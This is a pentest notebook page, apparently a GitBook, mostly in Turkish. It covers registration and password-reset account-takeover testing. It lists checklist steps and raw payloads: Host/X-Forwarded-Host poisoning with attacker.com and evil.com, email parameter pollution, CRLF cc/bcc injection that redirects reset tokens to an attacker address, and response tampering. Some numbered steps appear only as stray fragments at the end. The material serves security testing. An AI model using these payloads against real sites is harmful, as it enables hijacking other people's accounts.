Tufan Turhan
  • Introduction
  • Red Teaming
    • Initial Access
      • VoipHopper
      • SMB – SCF File Attacks
      • MITM6
      • LLMNR, NBT-NS, mDNS Zehirlemeleri ve Relay Ataklar
    • Responder - DNS Injection
    • Privilege Escalation
      • PrintNightmare
      • Juicy Potato ile Windows Yetki Yükseltme
      • Token Impersonation with Incognito
    • Active Directory & Kerberos
      • Kerberos
      • Kerberosting
      • AS-REP Roasting
      • Overpass The Hash/Pass The Key (PTK)
      • DCSync Attack
      • DCShadow Attack
      • GETTGT
      • Golden Tickets
      • Silver Tickets
      • PowerView
      • MS14-025 (GPP Abusing)
      • BloodHound
      • Procdump
    • Lateral Movement
      • RDP MiTM-Hijacking
      • Vlan Hopping
      • Pivoting
    • Network Pentest
      • IPv4 Subnet Cheat Sheet
      • DNS Spoofing
      • DHCP Rogue
    • Shell to Meterpreter
    • Turn Off or Bypass AV
    • Useful CMD or Powershell Command
    • Brute Force
    • Windows Dosya İndirme
    • Windows UAC Bypass
    • Insecure Dosya İzni
  • Pentesting
    • Pentesting FTP - 21
    • Pentesting SMTP - 25,465,587
    • Pentesting SMB - 139 & 445
    • Pentesting Telnet - 23
    • Pentesting DNS - 53
    • Pentesting MSRPC -135
    • Pentesting SNMP - 161,162
    • Pentesting LDAP - 389,636
    • Pentesting MSSQL - 1433
    • Pentesting MYSQL - 3306
    • Pentesting RDP - 3389
    • Pentesing WINRM 5985,5986
  • Web Application
    • 2FA/OTP Bypass
    • Captcha Bypass
    • Cache Poisoning
    • Command Injection (OS)
    • CRLF Injection
    • Cross-site WebSocket hijacking (CSWSH) -
    • Cross-site request forgery (CSRF) -
    • Dangling Markup -
    • Path traversal
    • File Upload
    • Formula Injection (CSV Injection)
    • Login Bypass List
    • OAuth -
    • Open Redirect
    • Race Condition -
    • Registration - Password Reset & Takeover Vulnerabilities
    • SQL Injection
    • SSRF
  • Linux Privilege Escalation
    • PHP Wrapper
    • Simple Http
    • Editing /etc/passwd
    • SUID Binaries
    • Sudo Rights
    • Otomatize Araçlar
    • OSCP Not
  • HTB
  • Reverse Shell w/Msfvenom
  • Upgrading Simple Shells to Fully Interactive TTYs
Powered by GitBook
On this page
  • Registration Takeover
  • Duplicate Registration
  • Password Reset Takeover
  • Account Takeover: Password Reset With Manipualating Email Parameter
  • Exploitation
  • Password Reset Via Email Parameter
  • Response manipulation: Replace Bad Response With Good One
  • Reset Token expiration Time
  • Using Expired Token
  1. Web Application

Registration - Password Reset & Takeover Vulnerabilities

PreviousRace Condition -NextSQL Injection

Last updated 2 years ago

Registration Takeover

Duplicate Registration

  • Kayıtlı kullanıcının kullanıcını adını almaya çalış.

  • Kullanıcı adını aynı yap ama maili farklı yap.

  • Aynı kullanıcı adını büyük harflerle dene.

  • Kayıt alanı varsa parolasını çok uzun bir şey dene dos olabilir.

  • victim@gmail.com@attacker.com

  • victim@attacker.com@gmail.com

  • Kaydolun, doğrulamayın, şifre değiştirme talebinde bulunun, değiştirin, hesabın aktif olup olmadığını kontrol edin.

  • Bozuk kimlik doğrulama ve oturum kusurları: Kaydol hesabı doğrulamadan şifremi unuttum de ve şifreyi değiştir. Hesabın aktif olup olmadığını kontrol et.

  • Giriş yaptıktan sonra kayıt sayfasındaki yönlendirmeleri kontrol edin

  • Hesap kayıtı sırasında rate limit.

  • İsim veya e-postada XSS

  • username@burp_collab.net mailini kullan ve istek gelip gelmediğini kontrol et.

Password Reset Takeover

1- Gelen mailde ki bağlantıyı decode etmeye çalış.

2- Peş peşe 2 tane sıfırlama bağlantısı iste ve eski bağlantı ile sıfırla.

5- Evil.com ile sıfırlama bağlantısını almak için X-Forwarded-Host: evil.com'u ekleyin

6- Şifre sıfırlama isteğinde farklı bir email adresi daha ekle

7- Cookieyi decode et. Tahmin edilebilirliğini kontrol et.

8- Cookie Expire Tarihine bak.

9- Cookie httponly ve secure flag bayraklarına bak.

10- Kullanıcının profil fotoğrafının url’ine bak diğer kullanıcıların fotolarına erişmeye çalış.

11- Aynı parametreden 2 tane eklemeyi dene.

12- Şifre sıfırlama istediğini intrudera ekle birden fazla mail gelip gelmediğini kontrol et. Eğer gelmiyorsa istekte ki gereksiz bir başlığın ufak bi kısmını değiştirerek gönder. Örneğin accept language.

13- Şifre sıfırlama bağlantısına tıkladıktan sonra farklı bir uygulamaya git referrer parametresinde sıfırlama tokenının iletilip iletilmediğine bak. (Password reset token leakage via referer)

14- Parola sıfırlama alanına bruteforce yaparak kullanıcıların adlarını tespit edilip edilmediğini kontrol et.

15- Maile gönderilen url’de genelde bi token olur ve bodysinde kullanıcı adı parola olur. Bu kullanıcı adını değiştirerek aynı token ile başka birinin şifresini değiştirmeyi dene, olmazsa tokenı komple silip öyle dene.

16- X-Forwarded-For başlığını dene uygulama bunu kabul ederse parola sıfırlamasını bu başlıkta ki adrese gönderebilir. Bu şekilde istediğimiz userın şifresini değiştirebiliriz.

Host: attacker.com
 Host: target.com
 X-Forwarded-Host: attacker.com
 Host: target.com
 Host: attacker.com

17- Kullanıcı girişi yaptıktan sonra her kullanıcı kendi profil alanından mevcut şifresini değiştirebilir. Eğer burada hep parola hem kullanıcı adını alıyorsa kullanıcı adını değiştirerek başkasının parolasını değiştirmeyi deneyebiliriz. Mesela normalde girilen parola yanlışsa girilen eski parola yanlış der ya da yeni parolalar eşleşmiyor der. Başkasına ait kullanıcı adı girilir ve yeni parolalar farklı girilir. Eğer parola yanlış ise parola yanlış der eğer parola doğru ise yeni parolalar eşleşmiyor der. Bu şekilde parolayı bulmuş oluruz. Verilen cevabın içerisinde bir metin aramak için de burp intruderın optionsına gelip grep and match alanına ilgili metni yazabiliriz mesela parola eşleşmiyor gibi.

18- eğer parola json ile gidiyor ise birden fazla değer girerek brute denenebilir.

19- Parola sıfırlama isteği giderken gelen cevap veya giden istekte hassas veri olup olmadığını kontrol et. Eğer varsa diğer kullanıcılar için bu değerleri değiştirmeye çalış.

20- Parola sıfırlama bağlantısını bir kere kullandıktan sonra tekrar kullanılıp kullanılmadığını kontrol et.

21- Parola bağlantısını 2 kere farklı sekmelerde aç. Biri ile şifreyi değiştir ve giriş yap daha sonra 2. Sekmeden yeniden şifreyi değiştirmeyi dene. İzin vermezse ip adresini değiştirerek dene.

Account Takeover: Password Reset With Manipualating Email Parameter

Exploitation

  • Add attacker email as second parameter using &

POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • Add attacker email as second parameter using %20

POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • Add attacker email as second parameter using |

POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • Add attacker email as second parameter using cc

POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
  • Add attacker email as second parameter using bcc

POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • Add attacker email as second parameter using ,

POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • Add attacker email as second parameter in json array

POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

Password Reset Via Email Parameter

# parameter pollution
email=victim@mail.com&email=hacker@mail.com

# array of emails
{"email":["victim@mail.com","hacker@mail.com"]}

# carbon copy
email=victim@mail.com%0A%0Dcc:hacker@mail.com
email=victim@mail.com%0A%0Dbcc:hacker@mail.com

# separator
email=victim@mail.com,hacker@mail.com
email=victim@mail.com%20hacker@mail.com
email=victim@mail.com|hacker@mail.com

Response manipulation: Replace Bad Response With Good One

Look for Request and Response like these

HTTP/1.1 401 Unauthorized
(“message”:”unsuccessful”,”statusCode:403,”errorDescription”:”Unsuccessful”)

Change Response

HTTP/1.1 200 OK
(“message”:”success”,”statusCode:200,”errorDescription”:”Success”)

Reset Token expiration Time

The reset tokens must have an expiration time, after it the token shouldn't be valid to change the password of a user.

Using Expired Token

  • Check if the expired token can be reused

Ref:

3- gibi bir istek yap.

4- gibi istek yap ve ssrf kontrol et.

email=victim@mail.com%0a%0dcc:hacker@mail.com
username@burp_collab.net
Reset/Forgotten Password BypassHackTricks
Logo